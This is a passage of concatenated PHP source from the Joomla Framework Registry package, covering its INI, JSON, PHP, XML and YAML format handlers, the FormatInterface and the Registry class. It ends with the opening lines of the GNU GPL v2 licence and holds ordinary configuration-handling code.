			if ($length && ($value[0] === '"') &&
($value[$length - 1] === '"'))
			{
				// Strip the quotes and Convert the new line characters.
				$value = stripcslashes(substr($value, 1, $length - 2));
				$value = str_replace('\n', "\n", $value);
			}
			else
			{
				// If the value is not quoted, we assume it is not a string.

				// If the value is 'false' assume boolean false.
				if ($value === 'false')
				{
					$value = false;
				}
				elseif ($value === 'true')
				{
					// If the value is 'true' assume boolean true.
					$value = true;
				}
				elseif ($options['parseBooleanWords'] &&
\in_array(strtolower($value), array('yes', 'no'),
true))
				{
					// If the value is 'yes' or 'no' and option is
enabled assume appropriate boolean
					$value = (strtolower($value) === 'yes');
				}
				elseif (is_numeric($value))
				{
					// If the value is numeric than it is either a float or int.
					// If there is a period then we assume a float.
					if (strpos($value, '.') !== false)
					{
						$value = (float) $value;
					}
					else
					{
						$value = (int) $value;
					}
				}
			}

			// If a section is set add the key/value to the section, otherwise top
level.
			if ($section)
			{
				if ($array)
				{
					if (!isset($obj->$section->$key))
					{
						$obj->$section->$key = array();
					}

					if (!empty($arrayKey))
					{
						$obj->$section->{$key}[$arrayKey] = $value;
					}
					else
					{
						$obj->$section->{$key}[] = $value;
					}
				}
				else
				{
					$obj->$section->$key = $value;
				}
			}
			else
			{
				if ($array)
				{
					if (!isset($obj->$key))
					{
						$obj->$key = array();
					}

					if (!empty($arrayKey))
					{
						$obj->{$key}[$arrayKey] = $value;
					}
					else
					{
						$obj->{$key}[] = $value;
					}
				}
				else
				{
					$obj->$key = $value;
				}
			}

			$array = false;
		}

		// Cache the string to save cpu cycles -- thus the world :)
		self::$cache[$hash] = clone $obj;

		return $obj;
	}

	/**
	 * Method to get a value in an INI format.
	 *
	 * @param   mixed  $value  The value to convert to INI format.
	 *
	 * @return  string  The value in INI format.
	 *
	 * @since   1.0
	 */
	protected function getValueAsIni($value)
	{
		$string = '';

		switch (\gettype($value))
		{
			case 'integer':
			case 'double':
				$string = $value;

				break;

			case 'boolean':
				$string = $value ? 'true' : 'false';

				break;

			case 'string':
				// Sanitize any CRLF characters..
				$string = '"' . str_replace(array("\r\n",
"\n"), '\\n', $value) . '"';

				break;
		}

		return $string;
	}
}
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry\Format;

use Joomla\Registry\AbstractRegistryFormat;

/**
 * JSON format handler for Registry.
 *
 * @since  1.0
 */
class Json extends AbstractRegistryFormat
{
	/**
	 * Converts an object into a JSON formatted string.
	 *
	 * @param   object  $object   Data source object.
	 * @param   array   $options  Options used by the formatter.
	 *
	 * @return  string  JSON formatted string.
	 *
	 * @since   1.0
	 */
	public function objectToString($object, $options = array())
	{
		$bitMask = isset($options['bitmask']) ?
$options['bitmask'] : 0;

		// The depth parameter is only present as of PHP 5.5
		if (version_compare(PHP_VERSION, '5.5', '>='))
		{
			$depth = isset($options['depth']) ?
$options['depth'] : 512;

			return json_encode($object, $bitMask, $depth);
		}

		return json_encode($object, $bitMask);
	}

	/**
	 * Parse a JSON formatted string and convert it into an object.
	 *
	 * If the string is not in JSON format, this method will attempt to parse
it as INI format.
	 *
	 * @param   string  $data     JSON formatted string to convert.
	 * @param   array   $options  Options used by the formatter.
	 *
	 * @return  object   Data object.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function stringToObject($data, array $options =
array('processSections' => false))
	{
		$data = trim($data);

		// Because developers are clearly not validating their data before
pushing it into a Registry, we'll do it for them
		if (empty($data))
		{
			return new \stdClass;
		}

		if ($data !== '' && $data[0] !== '{')
		{
			return
AbstractRegistryFormat::getInstance('Ini')->stringToObject($data,
$options);
		}

		$decoded = json_decode($data);

		// Check for an error decoding the data
		if ($decoded === null && json_last_error() !== JSON_ERROR_NONE)
		{
			throw new \RuntimeException(sprintf('Error decoding JSON data:
%s', json_last_error_msg()));
		}

		return (object) $decoded;
	}
}
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry\Format;

use Joomla\Registry\AbstractRegistryFormat;

/**
 * PHP class format handler for Registry
 *
 * @since  1.0
 */
class Php extends AbstractRegistryFormat
{
	/**
	 * Converts an object into a php class string.
	 * - NOTE: Only one depth level is supported.
	 *
	 * @param   object  $object  Data Source Object
	 * @param   array   $params  Parameters used by the formatter
	 *
	 * @return  string  Config class formatted string
	 *
	 * @since   1.0
	 */
	public function objectToString($object, $params = array())
	{
		// A class must be provided
		$class = !empty($params['class']) ? $params['class']
: 'Registry';

		// Build the object variables string
		$vars = '';

		foreach (get_object_vars($object) as $k => $v)
		{
			if (is_scalar($v))
			{
				$vars .= "\tpublic $" . $k . " = '" .
addcslashes($v, '\\\'') . "';\n";
			}
			elseif (\is_array($v) || \is_object($v))
			{
				$vars .= "\tpublic $" . $k . ' = ' .
$this->getArrayString((array) $v) . ";\n";
			}
		}

		$str = "<?php\n";

		// If supplied, add a namespace to the class object
		if (isset($params['namespace']) &&
$params['namespace'] !== '')
		{
			$str .= 'namespace ' . $params['namespace'] .
";\n\n";
		}

		$str .= 'class ' . $class . " {\n";
		$str .= $vars;
		$str .= '}';

		// Use the closing tag if it not set to false in parameters.
		if (!isset($params['closingtag']) ||
$params['closingtag'] !== false)
		{
			$str .= "\n?>";
		}

		return $str;
	}

	/**
	 * Parse a PHP class formatted string and convert it into an object.
	 *
	 * @param   string  $data     PHP Class formatted string to convert.
	 * @param   array   $options  Options used by the formatter.
	 *
	 * @return  object   Data object.
	 *
	 * @since   1.0
	 */
	public function stringToObject($data, array $options = array())
	{
		return new \stdClass;
	}

	/**
	 * Method to get an array as an exported string.
	 *
	 * @param   array  $a  The array to get as a string.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	protected function getArrayString($a)
	{
		$s = 'array(';
		$i = 0;

		foreach ($a as $k => $v)
		{
			$s .= $i ? ', ' : '';
			$s .= '"' . $k . '" => ';

			if (\is_array($v) || \is_object($v))
			{
				$s .= $this->getArrayString((array) $v);
			}
			else
			{
				$s .= '"' . addslashes($v) . '"';
			}

			$i++;
		}

		$s .= ')';

		return $s;
	}
}
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry\Format;

use Joomla\Registry\AbstractRegistryFormat;
use SimpleXMLElement;
use stdClass;

/**
 * XML format handler for Registry.
 *
 * @since  1.0
 */
class Xml extends AbstractRegistryFormat
{
	/**
	 * Converts an object into an XML formatted string.
	 * -	If more than two levels of nested groups are necessary, since INI is
not
	 * useful, XML or another format should be used.
	 *
	 * @param   object  $object   Data source object.
	 * @param   array   $options  Options used by the formatter.
	 *
	 * @return  string  XML formatted string.
	 *
	 * @since   1.0
	 */
	public function objectToString($object, $options = array())
	{
		$rootName = isset($options['name']) ?
$options['name'] : 'registry';
		$nodeName = isset($options['nodeName']) ?
$options['nodeName'] : 'node';

		// Create the root node.
		$root = simplexml_load_string('<' . $rootName . '
/>');

		// Iterate over the object members.
		$this->getXmlChildren($root, $object, $nodeName);

		return $root->asXML();
	}

	/**
	 * Parse a XML formatted string and convert it into an object.
	 *
	 * @param   string  $data     XML formatted string to convert.
	 * @param   array   $options  Options used by the formatter.
	 *
	 * @return  object   Data object.
	 *
	 * @since   1.0
	 */
	public function stringToObject($data, array $options = array())
	{
		$obj = new stdClass;

		// Parse the XML string.
		$xml = simplexml_load_string($data);

		foreach ($xml->children() as $node)
		{
			$obj->{$node['name']} = $this->getValueFromNode($node);
		}

		return $obj;
	}

	/**
	 * Method to get a PHP native value for a SimpleXMLElement object. --
called recursively
	 *
	 * @param   object  $node  SimpleXMLElement object for which to get the
native value.
	 *
	 * @return  mixed  Native value of the SimpleXMLElement object.
	 *
	 * @since   1.0
	 */
	protected function getValueFromNode($node)
	{
		switch ($node['type'])
		{
			case 'integer':
				$value = (string) $node;

				return (int) $value;

			case 'string':
				return (string) $node;

			case 'boolean':
				$value = (string) $node;

				return (bool) $value;

			case 'double':
				$value = (string) $node;

				return (float) $value;

			case 'array':
				$value = array();

				foreach ($node->children() as $child)
				{
					$value[(string) $child['name']] =
$this->getValueFromNode($child);
				}

				break;

			default:
				$value = new stdClass;

				foreach ($node->children() as $child)
				{
					$value->{$child['name']} =
$this->getValueFromNode($child);
				}

				break;
		}

		return $value;
	}

	/**
	 * Method to build a level of the XML string -- called recursively
	 *
	 * @param   SimpleXMLElement  $node      SimpleXMLElement object to attach
children.
	 * @param   object            $var       Object that represents a node of
the XML document.
	 * @param   string            $nodeName  The name to use for node
elements.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function getXmlChildren(SimpleXMLElement $node, $var, $nodeName)
	{
		// Iterate over the object members.
		foreach ((array) $var as $k => $v)
		{
			if (is_scalar($v))
			{
				$n = $node->addChild($nodeName, $v);
				$n->addAttribute('name', $k);
				$n->addAttribute('type', \gettype($v));
			}
			else
			{
				$n = $node->addChild($nodeName);
				$n->addAttribute('name', $k);
				$n->addAttribute('type', \gettype($v));

				$this->getXmlChildren($n, $v, $nodeName);
			}
		}
	}
}
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry\Format;

use Joomla\Registry\AbstractRegistryFormat;
use Symfony\Component\Yaml\Dumper as SymfonyYamlDumper;
use Symfony\Component\Yaml\Parser as SymfonyYamlParser;

/**
 * YAML format handler for Registry.
 *
 * @since  1.0
 */
class Yaml extends AbstractRegistryFormat
{
	/**
	 * The YAML parser class.
	 *
	 * @var    \Symfony\Component\Yaml\Parser
	 * @since  1.0
	 */
	private $parser;

	/**
	 * The YAML dumper class.
	 *
	 * @var    \Symfony\Component\Yaml\Dumper
	 * @since  1.0
	 */
	private $dumper;

	/**
	 * Construct to set up the parser and dumper
	 *
	 * @since   1.0
	 */
	public function __construct()
	{
		$this->parser = new SymfonyYamlParser;
		$this->dumper = new SymfonyYamlDumper;
	}

	/**
	 * Converts an object into a YAML formatted string.
	 * We use json_* to convert the passed object to an array.
	 *
	 * @param   object  $object   Data source object.
	 * @param   array   $options  Options used by the formatter.
	 *
	 * @return  string  YAML formatted string.
	 *
	 * @since   1.0
	 */
	public function objectToString($object, $options = array())
	{
		$array = json_decode(json_encode($object), true);

		return $this->dumper->dump($array, 2, 0);
	}

	/**
	 * Parse a YAML formatted string and convert it into an object.
	 * We use the json_* methods to convert the parsed YAML array to an
object.
	 *
	 * @param   string  $data     YAML formatted string to convert.
	 * @param   array   $options  Options used by the formatter.
	 *
	 * @return  object  Data object.
	 *
	 * @since   1.0
	 */
	public function stringToObject($data, array $options = array())
	{
		$array = $this->parser->parse(trim($data));

		return (object) json_decode(json_encode($array));
	}
}
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry;

/**
 * Interface defining a format object
 *
 * @since  1.5.0
 */
interface FormatInterface
{
	/**
	 * Converts an object into a formatted string.
	 *
	 * @param   object  $object   Data Source Object.
	 * @param   array   $options  An array of options for the formatter.
	 *
	 * @return  string  Formatted string.
	 *
	 * @since   1.5.0
	 */
	public function objectToString($object, $options = null);

	/**
	 * Converts a formatted string into an object.
	 *
	 * @param   string  $data     Formatted string
	 * @param   array   $options  An array of options for the formatter.
	 *
	 * @return  object  Data Object
	 *
	 * @since   1.5.0
	 */
	public function stringToObject($data, array $options = array());
}
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry;

use Joomla\Utilities\ArrayHelper;

/**
 * Registry class
 *
 * @since  1.0
 */
class Registry implements \JsonSerializable, \ArrayAccess,
\IteratorAggregate, \Countable
{
	/**
	 * Registry Object
	 *
	 * @var    \stdClass
	 * @since  1.0
	 */
	protected $data;

	/**
	 * Flag if the Registry data object has been initialized
	 *
	 * @var    boolean
	 * @since  1.5.2
	 */
	protected $initialized = false;

	/**
	 * Registry instances container.
	 *
	 * @var    Registry[]
	 * @since  1.0
	 * @deprecated  2.0  Object caching will no longer be supported
	 */
	protected static $instances = array();

	/**
	 * Path separator
	 *
	 * @var    string
	 * @since  1.4.0
	 */
	public $separator = '.';

	/**
	 * Constructor
	 *
	 * @param   mixed  $data  The data to bind to the new Registry object.
	 *
	 * @since   1.0
	 */
	public function __construct($data = null)
	{
		// Instantiate the internal data object.
		$this->data = new \stdClass;

		// Optionally load supplied data.
		if ($data instanceof Registry)
		{
			$this->merge($data);
		}
		elseif (\is_array($data) || \is_object($data))
		{
			$this->bindData($this->data, $data);
		}
		elseif (!empty($data) && \is_string($data))
		{
			$this->loadString($data);
		}
	}

	/**
	 * Magic function to clone the registry object.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function __clone()
	{
		$this->data = unserialize(serialize($this->data));
	}

	/**
	 * Magic function to render this object as a string using default args of
toString method.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function __toString()
	{
		return $this->toString();
	}

	/**
	 * Count elements of the data object
	 *
	 * @return  integer  The custom count as an integer.
	 *
	 * @link    https://www.php.net/manual/en/countable.count.php
	 * @since   1.3.0
	 */
	public function count()
	{
		return \count(get_object_vars($this->data));
	}

	/**
	 * Implementation for the JsonSerializable interface.
	 * Allows us to pass Registry objects to json_encode.
	 *
	 * @return  object
	 *
	 * @since   1.0
	 * @note    The interface is only present in PHP 5.4 and up.
	 */
	public function jsonSerialize()
	{
		return $this->data;
	}

	/**
	 * Sets a default value if not already assigned.
	 *
	 * @param   string  $key      The name of the parameter.
	 * @param   mixed   $default  An optional value for the parameter.
	 *
	 * @return  mixed  The value set, or the default if the value was not
previously set (or null).
	 *
	 * @since   1.0
	 */
	public function def($key, $default = '')
	{
		$value = $this->get($key, $default);
		$this->set($key, $value);

		return $value;
	}

	/**
	 * Check if a registry path exists.
	 *
	 * @param   string  $path  Registry path (e.g. joomla.content.showauthor)
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function exists($path)
	{
		// Return default value if path is empty
		if (empty($path))
		{
			return false;
		}

		// Explode the registry path into an array
		$nodes = explode($this->separator, $path);

		// Initialize the current node to be the registry root.
		$node  = $this->data;
		$found = false;

		// Traverse the registry to find the correct node for the result.
		foreach ($nodes as $n)
		{
			if (\is_array($node) && isset($node[$n]))
			{
				$node  = $node[$n];
				$found = true;

				continue;
			}

			if (!isset($node->$n))
			{
				return false;
			}

			$node  = $node->$n;
			$found = true;
		}

		return $found;
	}

	/**
	 * Get a registry value.
	 *
	 * @param   string  $path     Registry path (e.g.
joomla.content.showauthor)
	 * @param   mixed   $default  Optional default value, returned if the
internal value is null.
	 *
	 * @return  mixed  Value of entry or null
	 *
	 * @since   1.0
	 */
	public function get($path, $default = null)
	{
		// Return default value if path is empty
		if (empty($path))
		{
			return $default;
		}

		if (!strpos($path, $this->separator))
		{
			return (isset($this->data->$path) &&
$this->data->$path !== null && $this->data->$path !==
'') ? $this->data->$path : $default;
		}

		// Explode the registry path into an array
		$nodes = explode($this->separator, trim($path));

		// Initialize the current node to be the registry root.
		$node  = $this->data;
		$found = false;

		// Traverse the registry to find the correct node for the result.
		foreach ($nodes as $n)
		{
			if (\is_array($node) && isset($node[$n]))
			{
				$node  = $node[$n];
				$found = true;

				continue;
			}

			if (!isset($node->$n))
			{
				return $default;
			}

			$node  = $node->$n;
			$found = true;
		}

		if (!$found || $node === null || $node === '')
		{
			return $default;
		}

		return $node;
	}

	/**
	 * Returns a reference to a global Registry object, only creating it
	 * if it doesn't already exist.
	 *
	 * This method must be invoked as:
	 * <pre>$registry = Registry::getInstance($id);</pre>
	 *
	 * @param   string  $id  An ID for the registry instance
	 *
	 * @return  Registry  The Registry object.
	 *
	 * @since   1.0
	 * @deprecated  2.0  Instantiate a new Registry instance instead
	 */
	public static function getInstance($id)
	{
		if (empty(self::$instances[$id]))
		{
			self::$instances[$id] = new self;
		}

		return self::$instances[$id];
	}

	/**
	 * Gets this object represented as an ArrayIterator.
	 *
	 * This allows the data properties to be accessed via a foreach statement.
	 *
	 * @return  \ArrayIterator  This object represented as an ArrayIterator.
	 *
	 * @see     IteratorAggregate::getIterator()
	 * @since   1.3.0
	 */
	public function getIterator()
	{
		return new \ArrayIterator($this->data);
	}

	/**
	 * Load an associative array of values into the default namespace
	 *
	 * @param   array    $array      Associative array of value to load
	 * @param   boolean  $flattened  Load from a one-dimensional array
	 * @param   string   $separator  The key separator
	 *
	 * @return  Registry  Return this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function loadArray($array, $flattened = false, $separator = null)
	{
		if (!$flattened)
		{
			$this->bindData($this->data, $array);

			return $this;
		}

		foreach ($array as $k => $v)
		{
			$this->set($k, $v, $separator);
		}

		return $this;
	}

	/**
	 * Load the public variables of the object into the default namespace.
	 *
	 * @param   object  $object  The object holding the publics to load
	 *
	 * @return  Registry  Return this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function loadObject($object)
	{
		$this->bindData($this->data, $object);

		return $this;
	}

	/**
	 * Load the contents of a file into the registry
	 *
	 * @param   string  $file     Path to file to load
	 * @param   string  $format   Format of the file [optional: defaults to
JSON]
	 * @param   array   $options  Options used by the formatter
	 *
	 * @return  Registry  Return this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function loadFile($file, $format = 'JSON', $options =
array())
	{
		$data = file_get_contents($file);

		return $this->loadString($data, $format, $options);
	}

	/**
	 * Load a string into the registry
	 *
	 * @param   string  $data     String to load into the registry
	 * @param   string  $format   Format of the string
	 * @param   array   $options  Options used by the formatter
	 *
	 * @return  Registry  Return this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function loadString($data, $format = 'JSON', $options =
array())
	{
		// Load a string into the given namespace [or default namespace if not
given]
		$handler = AbstractRegistryFormat::getInstance($format, $options);

		$obj = $handler->stringToObject($data, $options);

		// If the data object has not yet been initialized, direct assign the
object
		if (!$this->initialized)
		{
			$this->data        = $obj;
			$this->initialized = true;

			return $this;
		}

		$this->loadObject($obj);

		return $this;
	}

	/**
	 * Merge a Registry object into this one
	 *
	 * @param   Registry  $source     Source Registry object to merge.
	 * @param   boolean   $recursive  True to support recursive merge the
children values.
	 *
	 * @return  Registry|false  Return this object to support chaining or
false if $source is not an instance of Registry.
	 *
	 * @since   1.0
	 */
	public function merge($source, $recursive = false)
	{
		if (!$source instanceof Registry)
		{
			return false;
		}

		$this->bindData($this->data, $source->toArray(), $recursive,
false);

		return $this;
	}

	/**
	 * Method to extract a sub-registry from path
	 *
	 * @param   string  $path  Registry path (e.g. joomla.content.showauthor)
	 *
	 * @return  Registry|null  Registry object if data is present
	 *
	 * @since   1.2.0
	 */
	public function extract($path)
	{
		$data = $this->get($path);

		if ($data === null)
		{
			return null;
		}

		return new Registry($data);
	}

	/**
	 * Checks whether an offset exists in the iterator.
	 *
	 * @param   mixed  $offset  The array offset.
	 *
	 * @return  boolean  True if the offset exists, false otherwise.
	 *
	 * @since   1.0
	 */
	public function offsetExists($offset)
	{
		return (boolean) ($this->get($offset) !== null);
	}

	/**
	 * Gets an offset in the iterator.
	 *
	 * @param   mixed  $offset  The array offset.
	 *
	 * @return  mixed  The array value if it exists, null otherwise.
	 *
	 * @since   1.0
	 */
	public function offsetGet($offset)
	{
		return $this->get($offset);
	}

	/**
	 * Sets an offset in the iterator.
	 *
	 * @param   mixed  $offset  The array offset.
	 * @param   mixed  $value   The array value.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function offsetSet($offset, $value)
	{
		$this->set($offset, $value);
	}

	/**
	 * Unsets an offset in the iterator.
	 *
	 * @param   mixed  $offset  The array offset.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function offsetUnset($offset)
	{
		$this->remove($offset);
	}

	/**
	 * Set a registry value.
	 *
	 * @param   string  $path       Registry Path (e.g.
joomla.content.showauthor)
	 * @param   mixed   $value      Value of entry
	 * @param   string  $separator  The key separator
	 *
	 * @return  mixed  The value of the that has been set.
	 *
	 * @since   1.0
	 */
	public function set($path, $value, $separator = null)
	{
		if (empty($separator))
		{
			$separator = $this->separator;
		}

		/*
		 * Explode the registry path into an array and remove empty
		 * nodes that occur as a result of a double separator. ex: joomla..test
		 * Finally, re-key the array so they are sequential.
		 */
		$nodes = array_values(array_filter(explode($separator, $path),
'strlen'));

		if (!$nodes)
		{
			return;
		}

		// Initialize the current node to be the registry root.
		$node = $this->data;

		// Traverse the registry to find the correct node for the result.
		for ($i = 0, $n = \count($nodes) - 1; $i < $n; $i++)
		{
			if (\is_object($node))
			{
				if (!isset($node->{$nodes[$i]}) && ($i !== $n))
				{
					$node->{$nodes[$i]} = new \stdClass;
				}

				// Pass the child as pointer in case it is an object
				$node = &$node->{$nodes[$i]};

				continue;
			}

			if (\is_array($node))
			{
				if (($i !== $n) && !isset($node[$nodes[$i]]))
				{
					$node[$nodes[$i]] = new \stdClass;
				}

				// Pass the child as pointer in case it is an array
				$node = &$node[$nodes[$i]];
			}
		}

		// Get the old value if exists so we can return it
		switch (true)
		{
			case \is_object($node):
				$result = $node->{$nodes[$i]} = $value;

				break;

			case \is_array($node):
				$result = $node[$nodes[$i]] = $value;

				break;

			default:
				$result = null;

				break;
		}

		return $result;
	}

	/**
	 * Append value to a path in registry
	 *
	 * @param   string  $path   Parent registry Path (e.g.
joomla.content.showauthor)
	 * @param   mixed   $value  Value of entry
	 *
	 * @return  mixed  The value of the that has been set.
	 *
	 * @since   1.4.0
	 */
	public function append($path, $value)
	{
		$result = null;

		/*
		 * Explode the registry path into an array and remove empty
		 * nodes that occur as a result of a double dot. ex: joomla..test
		 * Finally, re-key the array so they are sequential.
		 */
		$nodes = array_values(array_filter(explode('.', $path),
'strlen'));

		if ($nodes)
		{
			// Initialize the current node to be the registry root.
			$node = $this->data;

			// Traverse the registry to find the correct node for the result.
			// TODO Create a new private method from part of code below, as it is
almost equal to 'set' method
			for ($i = 0, $n = \count($nodes) - 1; $i <= $n; $i++)
			{
				if (\is_object($node))
				{
					if (!isset($node->{$nodes[$i]}) && ($i !== $n))
					{
						$node->{$nodes[$i]} = new \stdClass;
					}

					// Pass the child as pointer in case it is an array
					$node = &$node->{$nodes[$i]};
				}
				elseif (\is_array($node))
				{
					if (($i !== $n) && !isset($node[$nodes[$i]]))
					{
						$node[$nodes[$i]] = new \stdClass;
					}

					// Pass the child as pointer in case it is an array
					$node = &$node[$nodes[$i]];
				}
			}

			if (!\is_array($node))
			{
				// Convert the node to array to make append possible
				$node = get_object_vars($node);
			}

			$node[] = $value;
			$result = $value;
		}

		return $result;
	}

	/**
	 * Delete a registry value
	 *
	 * @param   string  $path  Registry Path (e.g. joomla.content.showauthor)
	 *
	 * @return  mixed  The value of the removed node or null if not set
	 *
	 * @since   1.6.0
	 */
	public function remove($path)
	{
		// Cheap optimisation to direct remove the node if there is no separator
		if (!strpos($path, $this->separator))
		{
			$result = (isset($this->data->$path) &&
$this->data->$path !== null && $this->data->$path !==
'') ? $this->data->$path : null;

			unset($this->data->$path);

			return $result;
		}

		/*
		 * Explode the registry path into an array and remove empty
		 * nodes that occur as a result of a double separator. ex: joomla..test
		 * Finally, re-key the array so they are sequential.
		 */
		$nodes = array_values(array_filter(explode($this->separator, $path),
'strlen'));

		if (!$nodes)
		{
			return;
		}

		// Initialize the current node to be the registry root.
		$node   = $this->data;
		$parent = null;

		// Traverse the registry to find the correct node for the result.
		for ($i = 0, $n = \count($nodes) - 1; $i < $n; $i++)
		{
			if (\is_object($node))
			{
				if (!isset($node->{$nodes[$i]}) && ($i !== $n))
				{
					continue;
				}

				$parent = &$node;
				$node   = $node->{$nodes[$i]};

				continue;
			}

			if (\is_array($node))
			{
				if (($i !== $n) && !isset($node[$nodes[$i]]))
				{
					continue;
				}

				$parent = &$node;
				$node   = $node[$nodes[$i]];

				continue;
			}
		}

		// Get the old value if exists so we can return it
		switch (true)
		{
			case \is_object($node):
				$result = isset($node->{$nodes[$i]}) ? $node->{$nodes[$i]} :
null;
				unset($parent->{$nodes[$i]});

				break;

			case \is_array($node):
				$result = isset($node[$nodes[$i]]) ? $node[$nodes[$i]] : null;
				unset($parent[$nodes[$i]]);

				break;

			default:
				$result = null;

				break;
		}

		return $result;
	}

	/**
	 * Transforms a namespace to an array
	 *
	 * @return  array  An associative array holding the namespace data
	 *
	 * @since   1.0
	 */
	public function toArray()
	{
		return (array) $this->asArray($this->data);
	}

	/**
	 * Transforms a namespace to an object
	 *
	 * @return  object   An an object holding the namespace data
	 *
	 * @since   1.0
	 */
	public function toObject()
	{
		return $this->data;
	}

	/**
	 * Get a namespace in a given string format
	 *
	 * @param   string  $format   Format to return the string in
	 * @param   mixed   $options  Parameters used by the formatter, see
formatters for more info
	 *
	 * @return  string   Namespace in string format
	 *
	 * @since   1.0
	 */
	public function toString($format = 'JSON', $options = array())
	{
		// Return a namespace in a given format
		$handler = AbstractRegistryFormat::getInstance($format, $options);

		return $handler->objectToString($this->data, $options);
	}

	/**
	 * Method to recursively bind data to a parent object.
	 *
	 * @param   object   $parent     The parent object on which to attach the
data values.
	 * @param   mixed    $data       An array or object of data to bind to the
parent object.
	 * @param   boolean  $recursive  True to support recursive bindData.
	 * @param   boolean  $allowNull  True to allow null values.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function bindData($parent, $data, $recursive = true, $allowNull
= true)
	{
		// The data object is now initialized
		$this->initialized = true;

		// Ensure the input data is an array.
		$data = \is_object($data) ? get_object_vars($data) : (array) $data;

		foreach ($data as $k => $v)
		{
			if (!$allowNull && !(($v !== null) && ($v !==
'')))
			{
				continue;
			}

			if ($recursive && ((\is_array($v) &&
ArrayHelper::isAssociative($v)) || \is_object($v)))
			{
				if (!isset($parent->$k))
				{
					$parent->$k = new \stdClass;
				}

				$this->bindData($parent->$k, $v);

				continue;
			}

			$parent->$k = $v;
		}
	}

	/**
	 * Method to recursively convert an object of data to an array.
	 *
	 * @param   object  $data  An object of data to return as an array.
	 *
	 * @return  array  Array representation of the input object.
	 *
	 * @since   1.0
	 */
	protected function asArray($data)
	{
		$array = array();

		if (\is_object($data))
		{
			$data = get_object_vars($data);
		}

		foreach ($data as $k => $v)
		{
			if (\is_object($v) || \is_array($v))
			{
				$array[$k] = $this->asArray($v);

				continue;
			}

			$array[$k] = $v;
		}

		return $array;
	}

	/**
	 * Dump to one dimension array.
	 *
	 * @param   string  $separator  The key separator.
	 *
	 * @return  string[]  Dumped array.
	 *
	 * @since   1.3.0
	 */
	public function flatten($separator = null)
	{
		$array = array();

		if (empty($separator))
		{
			$separator = $this->separator;
		}

		$this->toFlatten($separator, $this->data, $array);

		return $array;
	}

	/**
	 * Method to recursively convert data to one dimension array.
	 *
	 * @param   string        $separator  The key separator.
	 * @param   array|object  $data       Data source of this scope.
	 * @param   array         $array      The result array, it is passed by
reference.
	 * @param   string        $prefix     Last level key prefix.
	 *
	 * @return  void
	 *
	 * @since   1.3.0
	 */
	protected function toFlatten($separator = null, $data = null, &$array
= array(), $prefix = '')
	{
		$data = (array) $data;

		if (empty($separator))
		{
			$separator = $this->separator;
		}

		foreach ($data as $k => $v)
		{
			$key = $prefix ? $prefix . $separator . $k : $k;

			if (\is_object($v) || \is_array($v))
			{
				$this->toFlatten($separator, $v, $array, $key);

				continue;
			}

			$array[$key] = $v;
		}
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
